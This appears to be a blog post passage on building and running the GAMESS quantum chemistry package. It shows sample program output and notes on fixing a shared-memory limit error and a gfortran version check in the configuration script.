--------------------- ELECTROSTATIC MOMENTS --------------------- POINT 1 X Y Z (BOHR) CHARGE 0.000000 -0.000000 0.000000 -0.00 (A.U.) DX DY DZ /D/ (DEBYE) -0.000000 0.000000 -0.000000 0.000000 ...... END OF PROPERTY EVALUATION ...... CPU 0: STEP CPU TIME= 0.02 TOTAL CPU TIME= 2.2 ( 0.0 MIN) TOTAL WALL CLOCK TIME= 2.3 SECONDS, CPU UTILIZATION IS 97.78% $VIB IVIB= 0 IATOM= 0 ICOORD= 0 E= -76.5841347569 -6.175208802E-40-6.175208802E-40-4.411868660E-07 6.175208802E-40 6.175208802E-40 4.411868660E-07-1.441225933E-40-1.441225933E-40 1.672333111E-06 1.441225933E-40 1.441225933E-40-1.672333111E-06 -4.053383177E-34 4.053383177E-34-2.257541709E-15 ......END OF GEOMETRY SEARCH...... CPU 0: STEP CPU TIME= 0.00 TOTAL CPU TIME= 2.2 ( 0.0 MIN) TOTAL WALL CLOCK TIME= 2.3 SECONDS, CPU UTILIZATION IS 97.35% 990473 WORDS OF DYNAMIC MEMORY USED EXECUTION OF GAMESS TERMINATED NORMALLY Fri Sep 21 14:27:17 2012 DDI: 263624 bytes (0.3 MB / 0 MWords) used by master data server. ---------------------------------------- CPU timing information for all processes ======================================== 0: 2.160 + 0.44 = 2.204 1: 2.220 + 0.20 = 2.240 2: 2.212 + 0.32 = 2.244 3: 4.240 + 0.04 = 4.244 4: 4.260 + 0.00 = 4.260 5: 4.256 + 0.08 = 4.264 ----------------------------------------
Done!
Looking at another test case (acetate w/ cosmo) I get the following scaling on a single node as a function of processors:
shmmax issue:
Anyone who has been using nwchem will be familiar with this
INPUT CARD> $END
DDI Process 0: shmget returned an error.
Error EINVAL: Attempting to create 160525768 bytes of shared memory.
Check system limits on the size of SysV shared memory segments.
The file ~/gamess/ddi/readme.ddi contains information on how to display
the current SystemV memory settings, and how to increase their sizes.
Increasing the setting requires the root password, and usually a sytem reboot.
DDI Process 0: error code 911
The fix is the same. First do
cat /proc/sys/kernel/shmmax
and look at the value. Then set it to the desired value according to this post: http://verahill.blogspot.com.au/2012/04/solution-to-nwchem-shmmax-too-small.html
e.g.
sudo sysctl -w kernel.shmmax=6269961216
gfortran version issue:
Even though you likely have version 4.7.x of gfortran, pick 4.6 or you will get:
Please type 'gfortran -dumpversion' or else 'gfortran -v' to detect the version number of your gfortran. This reply should be a string with at least two decimal points, such as 4.1.2 or 4.6.1, or maybe even 4.4.2-12. The reply may be labeled as a 'gcc' version, but it is really your gfortran version. Please enter only the first decimal place, such as 4.1 or 4.6: 4.7 The gfortran version number is not recognized. It should only have one decimal place, such as 4.x
The reason is this (code from config):
switch ($GMS_GFORTRAN_VERNO) case 4.1: case 4.2: case 4.3: case 4.4: case 4.5: echo " Alas, your version of gfortran does not support REAL*16," echo " so relativistic integrals cannot use quadruple precision." echo " Other than this, everything will work properly." breaksw case 4.6: echo " Good, the newest gfortran can compile REAL*16 data type." breaksw default: echo "The gfortran version number is not recognized." echo "It should only have one decimal place, such as 4.x" exit 4 breaksw endsw
Subscribe to:
Posts (Atom)